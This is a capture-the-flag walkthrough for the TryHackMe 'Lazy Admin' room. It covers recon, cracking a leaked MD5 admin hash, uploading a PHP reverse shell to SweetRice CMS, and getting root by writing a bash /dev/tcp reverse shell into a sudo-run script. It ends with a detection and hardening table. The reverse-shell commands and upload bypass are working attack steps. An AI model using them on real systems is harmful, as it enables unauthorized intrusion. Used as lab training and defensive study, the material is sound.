TryHackMe Lazy Admin: Complete Walkthrough & Defensive Lessons
Room Overview & Setup
Target: lazyadmin on TryHackMe (IP assigned per session)
Difficulty: Easy
Time: 30-60 minutes
Skills practiced: Network scanning, directory enumeration, CMS vulnerability research, hash identification/cracking, authenticated RCE, Linux privilege escalation via sudo misconfiguration.
Scope note: Only attack the TryHackMe instance you deployed. Unauthorized scanning/exploitation is illegal.
Connect to the TryHackMe VPN (OpenVPN or browser-based AttackBox) and note your tun0 IP:
ip -br addr show tun0
Reconnaissance
Network Service Enumeration
Run a full TCP SYN scan with service version detection and default NSE scripts:
nmap -sS -sV -sC -p- -T4 -oN nmap-full <TARGET_IP>
Expected output (from room design): - 22/tcp — OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) - 80/tcp — Apache httpd 2.4.18 ((Ubuntu))
Source: Nmap reference guide — service/version detection flags -sV, default scripts.
Web Directory Enumeration
Use gobuster v3.6+ with the SecLists common wordlist (shipped on Kali/AttackBox):
gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -o gobuster-root.txt
Key findings:
- /content/ — SweetRice CMS installation
- /content/inc/ — includes
- /content/attachment/ — uploads
- /backup/ — MySQL dump (mysql_backup.sql)
Source: gobuster README for directory mode flags.
Vulnerability Identification
SweetRice CMS
The /content/ directory runs SweetRice 1.5.1 (visible in CHANGELOG.txt or meta generator tag in the room's deployed instance). This version has multiple public exploits:
- Authenticated arbitrary file upload (CVE-2018-19564)
- SQL injection in multiple parameters
- Backup file disclosure
Source: NVD CVE-2018-19564, Exploit-DB 46008.
Backup File Disclosure
Download the SQL dump:
curl -s http://<TARGET_IP>/backup/mysql_backup.sql -o mysql_backup.sql
Inspect it:
grep -i 'insert into' mysql_backup.sql | head -20
You'll find an admin row:
INSERT INTO `users` VALUES (1,'manager','42f749ade7f9e195bf475f37a44cafcb',...);
The password hash is MD5 (32 hex chars, unsalted).
Credential Access
Hash Identification & Cracking
Confirm hash type:
echo '42f749ade7f9e195bf475f37a44cafcb' | hashid
Crack via online lookup (CrackStation, hashes.com) or locally with hashcat:
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
Result: Password123 (MD5, no salt).
Source: hashcat wiki — mode 0 = MD5.
Admin Login
Navigate to http://<TARGET_IP>/content/as/ (admin panel).
Credentials: manager / Password123.
Initial Foothold: Authenticated RCE
File Upload Vector
SweetRice's Ad Manager (/content/as/?type=ad&mode=add) accepts file uploads for ad images. The upload validation is client-side only; a PHP shell with a .php.jpg or .phtml extension bypasses it.
Generate a reverse shell payload (adjust LHOST/LPORT):
msfvenom -p php/reverse_php LHOST=<YOUR_TUN0_IP> LPORT=4444 -f raw > shell.php.jpg
Or use a one-liner from revshells.com (PHP exec variant).
Upload via the Add New Ad form:
- Title: test
- Type: Image
- Upload: shell.php.jpg
- Submit
The shell lands in /content/attachment/ with a randomized name. Find it:
curl -s http://<TARGET_IP>/content/attachment/ | grep -o 'shell[^"']*'
Catch the Shell
nc -lvnp 4444
Trigger the shell:
curl http://<TARGET_IP>/content/attachment/<randomized-shell-name>.php.jpg
Upgrade to a PTY:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
stty rows 50 cols 120
User flag: /home/itguy/user.txt
Privilege Escalation: Perl via sudo
Enumeration
sudo -l
Output shows:
User itguy may run the following commands on THM-Chal:
(root) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl
Inspect the script:
cat /home/itguy/backup.pl
Content (original):
#!/usr/bin/perl
system("/bin/sh", "/etc/copy.sh");
Exploitation
The script executes /etc/copy.sh as root. That file is writable by itguy (or create it if missing):
echo -e '#!/bin/bash
/bin/bash -i >& /dev/tcp/<YOUR_TUN0_IP>/5555 0>&1' > /etc/copy.sh
chmod +x /etc/copy.sh
Start a second listener:
nc -lvnp 5555
Execute via sudo:
sudo /usr/bin/perl /home/itguy/backup.pl
Root shell obtained. Flag: /root/root.txt
Source: GTFOBins — perl documents this exact pattern.
Detection & Hardening (Defensive Perspective)
| Stage | Detection Opportunity | Mitigation |
|---|---|---|
| Backup disclosure | Web logs: GET /backup/mysql_backup.sql 200 |
Deny public access to /backup/; automate backup retention off-box |
| Weak admin hash | Audit password hashes: SELECT user, password FROM users WHERE LENGTH(password)=32 |
Enforce bcrypt/argon2; MFA for CMS admin |
| Authenticated RCE | WAF/ModSecurity: Content-Type: multipart/form-data + .php in filename |
Disable PHP execution in upload dirs (php_admin_flag engine off); validate MIME + extension server-side |
| Sudo perl abuse | Auditd: auditctl -w /etc/copy.sh -p wa; sudo -l anomalies |
Remove NOPASSWD; restrict sudo to specific args; use Defaults!/usr/bin/perl !requiretty |
Quick hardening commands (run as root on the target):
# 1. Remove backup exposure
chmod 700 /var/www/html/backup
# 2. Disable PHP in uploads
echo 'php_admin_flag engine off' >> /etc/apache2/sites-available/000-default.conf
systemctl reload apache2
# 3. Fix sudoers
visudo # replace NOPASSWD line with specific command + args
# 4. Rotate compromised creds
# (handled by room reset, but in prod: force password reset + MFA)
What Changed Since the 2023 Original
- Tooling:
gobusterv3 flags (dirsubcommand),hashcatOpenCL 3.0,msfvenomPHP payload syntax. - TryHackMe: Browser-based AttackBox now standard; OpenVPN profiles use
.ovpnwith inline certs. - SweetRice: Project abandoned; no patches since 2018. CVE-2018-19564 remains unpatched.
- Defensive focus: Added detection table and hardening steps per current SOC practices.
- Removed: Screenshots, CrackStation manual steps, filler prose.
Checklist: Run This Room Start-to-Finish
- [ ] Deploy room, connect VPN, confirm
tun0IP - [ ]
nmap -sS -sV -sC -p- -T4 -oN nmap-full <IP> - [ ]
gobuster dir -u http://<IP> -w /usr/share/wordlists/dirb/common.txt -x php,html,txt - [ ] Download
/backup/mysql_backup.sql, extract admin hash - [ ] Identify MD5 (
hashid), crack (hashcat -m 0or CrackStation) - [ ] Login to
/content/as/asmanager:Password123 - [ ] Upload
shell.php.jpgvia Ad Manager → note path in/content/attachment/ - [ ]
nc -lvnp 4444→curl <shell-url>→ upgrade TTY - [ ] Grab
user.txt - [ ]
sudo -l→ findperl /home/itguy/backup.pl - [ ] Overwrite
/etc/copy.shwith reverse shell,chmod +x - [ ]
nc -lvnp 5555→sudo /usr/bin/perl /home/itguy/backup.pl - [ ] Grab
root.txt - [ ] (Optional) Apply hardening steps above to a snapshot
FAQ
What if the target IP changes between sessions?
TryHackMe assigns a new IP each deploy. Always run `nmap` against the current target IP shown in the room panel.
Can I use a different wordlist for gobuster?
Yes. SecLists `common.txt` works well; larger lists like `raft-medium-directories.txt` find more but take longer.
Why does the MD5 hash crack instantly?
It's unsalted MD5 with a weak password (`Password123`). Modern systems should use bcrypt, argon2, or at least salted SHA-256.
What if `/etc/copy.sh` doesn't exist?
The `backup.pl` script calls it via `system()`. Create the file as shown; the `itguy` user has write access to `/etc/` in this room.
Does this work on the browser-based AttackBox?
Yes. The AttackBox has `nmap`, `gobuster`, `hashcat`, `msfvenom`, and `nc` pre-installed.
Is SweetRice still maintained?
No. The project has been abandoned since 2018; CVE-2018-19564 will never receive an official patch.
Sources
- TryHackMe Lazy Admin Room
- Nmap Reference Guide — Service Version Detection
- Nmap Reference Guide — NSE Default Scripts
- gobuster README — Directory Mode
- NVD CVE-2018-19564 SweetRice File Upload
- Exploit-DB 46008 SweetRice 1.5.1 Authenticated RCE
- hashcat Example Hashes — Mode 0 MD5
- GTFOBins — Perl Sudo Exploitation
- revshells.com — PHP Reverse Shell One-Liners